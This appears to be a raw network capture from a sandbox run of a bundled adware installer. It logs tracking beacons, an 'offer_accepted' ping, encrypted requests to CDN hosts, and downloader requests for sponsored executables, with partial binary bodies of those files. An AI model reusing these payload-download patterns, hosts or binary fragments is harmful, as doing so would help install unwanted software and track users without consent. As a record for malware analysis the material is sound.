Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: VlFSz6
Cz0UYmeu5LhqAI4uWGGK8lsBexDsqkomRjCb5Y9sJs7b eNiZn3ugxrZxK..x-amz-requ
est-id: 429E131DDD560010..Date: Wed, 15 Apr 2015 02:28:55 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1429064936 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: D/cZs9e6xPbfOrKJefsqU5ZRfmL6zux5lAwNzG6vKFfIVIzBHONjys75WHgjrAZX
x-amz-request-id: BA825803DAEEEEAA
Date: Wed, 15 Apr 2015 02:28:58 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1429064937 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: yMiyOG5PSuiXe8AG87LRLDnU2leVkysdUrYBF/SAdHuIz6qHXMVoAyDhxDLabkqx
x-amz-request-id: CA3FEA931CE1AF93
Date: Wed, 15 Apr 2015 02:28:58 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1429064937 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: 8muMw8/fNCKAzHtuJzi29 aOnt xzJCPC/aqz9uN6DPx2Bwhflz7Shb2Zv4YNEwO
x-amz-request-id: 22BEFFD98DDDA6B2
Date: Wed, 15 Apr 2015 02:28:58 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 8muMw8
/fNCKAzHtuJzi29 aOnt xzJCPC/aqz9uN6DPx2Bwhflz7Shb2Zv4YNEwO..x-amz-requ
est-id: 22BEFFD98DDDA6B2..Date: Wed, 15 Apr 2015 02:28:58 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1429064939 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: LKIzPt59sTSAOpfMw0LDtffbGhPr/AIBKLlsfPNzmsVUXaTvGuCAHmFnofOIgzf5
x-amz-request-id: 40CBFBAF9A569561
Date: Wed, 15 Apr 2015 02:29:00 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=10000&n=deploy_end_funnel_step_name&rnd=1429064939 HTTP/1.1


Host: errors.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: wzBsv064X YhTCpR3G1AfIlJyc03u nagGnP3ONN03fk9syxBIwl26PXuDvrN/GI
x-amz-request-id: CC7B5065299FA19A
Date: Wed, 15 Apr 2015 02:29:00 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: wzBsv0
64X YhTCpR3G1AfIlJyc03u nagGnP3ONN03fk9syxBIwl26PXuDvrN/GI..x-amz-requ
est-id: CC7B5065299FA19A..Date: Wed, 15 Apr 2015 02:29:00 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Tue, 31 Mar 2015 09:53:25 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..



GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=167832-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Wed, 15 Apr 2015 02:28:20 GMT
Content-Type: application/octet-stream
Content-Length: 503496
Last-Modified: Fri, 10 Apr 2015 02:59:56 GMT
Connection: keep-alive
Expires: Sat, 18 Apr 2015 02:28:20 GMT
Cache-Control: max-age=259200
Content-Range: bytes 167832-671327/671328
...}..u..x&.........._.....].V.u...u..[&..........^........u......Y...
.#.....V.;.t.3.^]...U...}..u...&..........^.....]..E...t.j..p..0.u....
.....].j.h..H..9z...e..3..u........u...%.........l^...........]....t..
[email protected]...@u..}..G.=....v....}.....u.V.....Y.e..V.....V.....YY.f..
....N....t.....F.j._.-.E...u W..#..Y..u.....H..M.....N..............N.
.~..F....f...E...........E...y....u..{...Y...U...=..H..u..lx...u...v..
h......s..YY][email protected]
..u..6.<.@[email protected][email protected][email protected][email protected]....
u.j..S...Y.......u.j..B...Y.3....u........y.j...u..Y..TpG....I........
.H........y.j...u..Y.......y.j..~u..Yj..Us..Y;.t.P.ku..Y.R....E..t...M
...j.YQPVh..@..|....E.9u.u.P..t....u.....E......M.PQ.....YY..e..E..E..
}..u.P..t....t...E......E...w...............U.... .E.VWj.Y..vG..}....E
..E._.E.^[email protected]$.......t$.......
tN......u........$......$..........~.....3.........t..A...t2..t$.....t
......t....A..L$. ...A..L$. ...A..L$. ...A..L$. .......U..WV.u..M..}..
.....;.v.;.............r..=..I..t.WV......;.^_u...I........u..........
r)...$...B...........r.......$.$.B..$. .B...$...B..4.B.`.B...B.#......
F..G..F.....G..........r....$...B..I.#......F.....G..........r....$...
B..#.................r....$...B..I...B...B...B...B...B...B...B...B..D.
..D...D...D...D...D...D...D...D...D...D...D...D...D..............$...B
... .B.(.B.4.B.H.B..E.^_........E.^_........F..G..E.^_...I......F..G..
F..G..E.^_....t1..|9.......u$.........r......$...B......$.\.B..I..
<<< skipped >>>


GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.microsoft.com


HTTP/1.1 200 OK
Content-Type: application/pkix-crl
Last-Modified: Tue, 14 Apr 2015 05:02:07 GMT
Accept-Ranges: bytes
ETag: "2711f7277076d01:0"
Server: Microsoft-IIS/8.5
VTag: 438486457400000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Content-Length: 554
Cache-Control: max-age=900
Date: Wed, 15 Apr 2015 02:32:18 GMT
Connection: keep-alive
0..&0......0...*.H........0y1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1#0!..U....Microsoft Code Si
gning PCA..150413163223Z..150713045223Z.a0_0...U.#..0..........X..7.3.
..L...0... .....7.........0...U......Z0... .....7......150712164223Z0.
..*.H.............WK....e.\.-.n......./......."]..E!.. //=...[....w...
 ..........#...[.l.J..f|..... .s......w...J._.......3.[..#.z....ko.I..
Q{....e.nV......F..d}..rF\H.jlH]dQ.E....x......W............j....&L. 2
.$.?...X?.#.(.....pK.v.......y..r....t......=.AW......K.G.gJD.b.HTTP/1
.1 200 OK..Content-Type: application/pkix-crl..Last-Modified: Tue, 14 
Apr 2015 05:02:07 GMT..Accept-Ranges: bytes..ETag: "2711f7277076d01:0"
..Server: Microsoft-IIS/8.5..VTag: 438486457400000000..P3P: CP="ALL IN
D DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT CO
M INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Content-Length:
 554..Cache-Control: max-age=900..Date: Wed, 15 Apr 2015 02:32:18 GMT.
.Connection: keep-alive..0..&0......0...*.H........0y1.0...U....US1.0.
..U....Washington1.0...U....Redmond1.0...U....Microsoft Corporation1#0
!..U....Microsoft Code Signing PCA..150413163223Z..150713045223Z.a0_0.
..U.#..0..........X..7.3...L...0... .....7.........0...U......Z0... ..
...7......150712164223Z0...*.H.............WK....e.\.-.n......./......
."]..E!.. //=...[....w... ..........#...[.l.J..f|..... .s......w...J._
.......3.[..#.z....ko.I..Q{....e.nV......F..d}..rF\H.jlH]dQ.E....x....
..W............j....&L. 2.$.?...X?.#.(.....pK.v.......y..r....t...
<<< skipped >>>


GET /root-r3.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.globalsign.net


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:32:04 GMT
Content-Type: application/x-pkcs7-crl
Content-Length: 594
Connection: keep-alive
Set-Cookie: __cfduid=d4021fd16d0ac3e0e2467da647ec87f391429065124; expires=Thu, 14-Apr-16 02:32:04 GMT; path=/; domain=.globalsign.net; HttpOnly
Expires: Wed, 15 Jul 2015 00:00:00 GMT
Last-Modified: Mon, 23 Mar 2015 00:00:00 GMT
Cache-Control: public, max-age=7853276
CF-Cache-Status: HIT
Accept-Ranges: bytes
Server: cloudflare-nginx
CF-RAY: 1d743ce1452101b1-FRA
0..N0..6...0...*.H........0L1 0...U....GlobalSign Root CA - R31.0...U.
...GlobalSign1.0...U....GlobalSign..150323000000Z..150715000000Z0..0*.
.......1..F...141125000000Z0.0...U.......0*........%[email protected]
Z0.0...U.......0*........%..D...141125000000Z0.0...U......../0-0...U..
.....0...U.#..0.....K...E$.MP.c.......0...*.H...............Z.v..&...B
.....x)....'.u.}.r8.. ..i.......-..........@.:.5.v..?.. ....~V.=....R.
 .....rS....t.T_.....Y.R......p OS..2.s........(C.e.x3.#.d6L.d=.UI.;T.
.G...mx....... .......-........-.....J....$.Ko.e#......3....*..3.s...0
.........N..W?'.U...f..h..e...m.9.HTTP/1.1 200 OK..Date: Wed, 15 Apr 2
015 02:32:04 GMT..Content-Type: application/x-pkcs7-crl..Content-Lengt
h: 594..Connection: keep-alive..Set-Cookie: __cfduid=d4021fd16d0ac3e0e
2467da647ec87f391429065124; expires=Thu, 14-Apr-16 02:32:04 GMT; path=
/; domain=.globalsign.net; HttpOnly..Expires: Wed, 15 Jul 2015 00:00:0
0 GMT..Last-Modified: Mon, 23 Mar 2015 00:00:00 GMT..Cache-Control: pu
blic, max-age=7853276..CF-Cache-Status: HIT..Accept-Ranges: bytes..Ser
ver: cloudflare-nginx..CF-RAY: 1d743ce1452101b1-FRA..0..N0..6...0...*.
H........0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign1.0.
..U....GlobalSign..150323000000Z..150715000000Z0..0*........1..F...141
125000000Z0.0...U.......0*........%[email protected]*
........%..D...141125000000Z0.0...U......../0-0...U.......0...U.#..0..
...K...E$.MP.c.......0...*.H...............Z.v..&...B.....x)....'.u.}.
r8.. ..i.......-..........@.:.5.v..?.. ....~V.=....R. .....rS....t
<<< skipped >>>


GET /v4/sof-windowspm/?action=visit.heartbeat.wpmvt&update3=version,20.0.0.1953 HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Wed, 15 Apr 2015 02:29:12 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
3d..{"stats":"error","time":"0.06 ms","message":"uid is not set"}..0..
....


GET /v4/sof-windowspm/?action=visit.heartbeat.wpmvt HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Wed, 15 Apr 2015 02:29:13 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
3d..{"stats":"error","time":"0.07 ms","message":"uid is not set"}..0..
HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 15 Apr 2015 02:29:13
 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunk
ed..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v
4..3d..{"stats":"error","time":"0.07 ms","message":"uid is not set"}..
0..



GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.nt.ff.tab HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Wed, 15 Apr 2015 02:29:07 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.16 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Wed, 15 Apr 201
5 02:29:07 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.16 ms","message":"store 1 act
ion and 0 update "}..0..



GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/grooveload/grooveload/608d3271d8f3494f867a2b514a49c4e9?v=2.1&uid=608d3271d8f3494f867a2b514a49c4e9&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d2d55ordy2t3g4.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 26401
Connection: keep-alive
Server: nginx
Date: Tue, 14 Apr 2015 08:49:24 GMT
Last-Modified: Tue, 14 Apr 2015 08:31:54 GMT
ETag: "552cd07a-6721"
Expires: Tue, 14 Apr 2015 08:59:24 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
Age: 186
X-Cache: Hit from cloudfront
Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 7HN1YPZ5wvriIX6MOYTvotdabdUGpkkSDhPFqf-b-r6a25_gN3UwCA==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.
<<< skipped >>>

GET /sponsored/speedbit/eula-youtubeaccelerator.html HTTP/1.1


Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/grooveload/grooveload/608d3271d8f3494f867a2b514a49c4e9?v=2.1&uid=608d3271d8f3494f867a2b514a49c4e9&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d2d55ordy2t3g4.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 12 Apr 2015 04:59:17 GMT
Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT
Expires: Sun, 12 Apr 2015 05:09:17 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
X-Cache: RefreshHit from cloudfront
Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: XAINnBokEFDfo2dbK-SUIZYi3OzULg6lgypCI-k-Bfpb11ZEu1EGPA==
2ee.............]ko..y.....&J.K.D...h........[,.n...F...5.af... @.F.^.
I..y.s..9.:..H.D.9s...y/~..._=.......]...o?{~.,.;:>~..g..._|...W./.
g.G...:_6e[V.|~||.r/..j..........OGU=;.xs..c=....Q..9......<.....e.
d`..?....m=[...h.u.j..vU<.k....w.un..e...^.......>z.I....}.QM..r
9.nF......o.......O....r...?......I..z.}q{.M.i....>...K.,...>y.\
.....'{..m[....i.....~..d......Gu....b...o....p..o..;H?..>.v..{.:..
....0.........................'._......?.l....o..Q.....9..q.C.]..4....
70...w.a.v]/.~......zn\M..o..U.U.,.-.....q.........B........WE.~Q...u.
S.w.. .`K.j.^`X.......g....e.(......_?.6..p^.../.."o..w.>......FM..
. ..u[....|.p......;...I.{..Q..i.|.w.w...c..G.jU,'....d.S..~f.)r......
.A...w...9.. R....g..Y...x..'..{.(.<._.5N.......3...c.F...)..wYMn..
.......e?z....24ab.....-.zV..e....U..G..\.([V."...i.l............i.(..
......).r..~..]}.)y.&....Q6.W%X.Cm.<z..b.OM.dYX.?.>d......{...k.
.......y1m.eG...{....#........&.._./.....O.U./..Ev2... y[..EQ/....mS`.
O....>....x.7....l............a...q.W.c.#./......^\..... ..Y6/...).
|9. .l.5>...*.-....YW./.a...lV].......r,...q.:Fi1..<kA...__.....
.....x..Ap.?...Z..=......q.4.)....R[.9~...*.*(....'.Yi..p.B.n......e'.
..I.T.;.L.^-..Co...j0u..j...dc0B^..I.r.....-.(...n......1.-...'.*.....
..M^....&...y~..-...;W....UV.8.,.c.'...QLd 4x.....fmU....<...M..pRN
3\{S`AX..6..X........'_._....q2.8.?.QF.M.0.>.l^......6.I:...4DvY.7E
!.=....m.C.....U.}...c.....??.......[e...H..-.c:-.%vj'..A..2.K|..%]...
...{Ga....EQ..Z|Q..6?..4?z|................H.%.....{....\b[.......
<<< skipped >>>


GET /smt2b/all/hat/row/setup.exe HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: dl.newinputinfoservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:29:18 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1429012571"
Last-Modified: Tue, 14 Apr 2015 11:56:11 GMT
Cache-Control: max-age=1651
Content-Length: 12634307
Content-Type: application/x-msdownload
X-HW: 1429064958.dop002.fr7.t,1429064958.cds034.fr7.c
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@..........................`
......./........ ..............................p.......... C..........
......................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]........... [email protected]... C.
[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=istartsurf&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=3&index_in_screen=1&index_in_session=3&0.554633258867026 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/grooveload/grooveload/608d3271d8f3494f867a2b514a49c4e9?v=2.1&uid=608d3271d8f3494f867a2b514a49c4e9&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:28:01 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 15 Apr 2015 02:28:01 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /t.ashx?e=wlkQ3WKgYpT/HsUBn07KUivLfUo0CTVixQ1lBHEbv7l4E7mrr1h80riKIFo3W8f23Wq7IsWCDz7y242T0dJTSUCN9h bV19VSl3u293svNWe4QpoO1WcaCmF904v4t2DMqrjxCw EkyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67kcucdFKeANzw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xqjdaibxl-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....


GET /t.ashx?e=wlkQ3WKgYpT/HsUBn07KUivLfUo0CTVixQ1lBHEbv7l4E7mrr1h80riKIFo3W8f23Wq7IsWCDz7y242T0dJTSUCN9h bV19VSl3u293svNWe4QpoO1WcaCmF904v4t2DMqrjxCw EkyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67kcucdFKeANzw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xqjdaibxl-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....


GET /t.ashx?e=wlkQ3WKgYpT/HsUBn07KUivLfUo0CTVixQ1lBHEbv7l4E7mrr1h80riKIFo3W8f23Wq7IsWCDz7y242T0dJTSUCN9h bV19VSl3u293svNWe4QpoO1WcaCmF904v4t2DMqrjxCw EkyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67kcucdFKeANzw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xqjdaibxl-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk..



GET /7161.ashx?e=aQQpsP6/AW1PNjxRBLtb4z5bXhDtFhrX/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lyArz49/3cS03f1ws7XaD2yRYhZSGl8ahHJscN vLrCo78exDZM0cTsP3GhIJ9WssI TdI1rDUfDB/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7ufLDfF0ZTpL1kSjubNqPc5GyEyoZvq4OmB0RNQ 9BzBNqeRPeOqgjazACGY CgK6eqXaZH4mK3kqgSNqV7u8iR3AQSpIJXB7PVUl5TLe7HbDFz5K36yx5JFIty0tWc06ippSFGWqY/tJKkOqc/t3GkiGBNwta2nDUPW0PDhfKgeQxlp6/RhiFWFeKirbRJMxjw0XDVs8QXTQXKAbkOzE8t1GR88PfCMTMW4XjMZJAFqNrMFqx eqzAA0Ab8kjlrHUIsA9895POKuzvjcaXM2AbroBcEjtCTFLBfrHFyPplkNZ6 ltSbGnfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5ZtT8IaYnlic= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:42 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:42 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /7161.ashx?e=hNMAVKhukrzsUPBzNrhZoaIKKufJNjikoOZ8Vy4PwRADt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/iP/gk1eeAbkIBTqgRg0M9kCy5U1DKQBR/1HrjuYPfZlNCUHeR8YCF3eUieKUOy0CNssIFedkeDcwU A6kiYcjN5jgwqhpV 3RVAAKZHGiEvq0xtIwdKFg949BuL0n8vhTQE6ga EGy2YzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbc3zGts4CU58= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:45 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
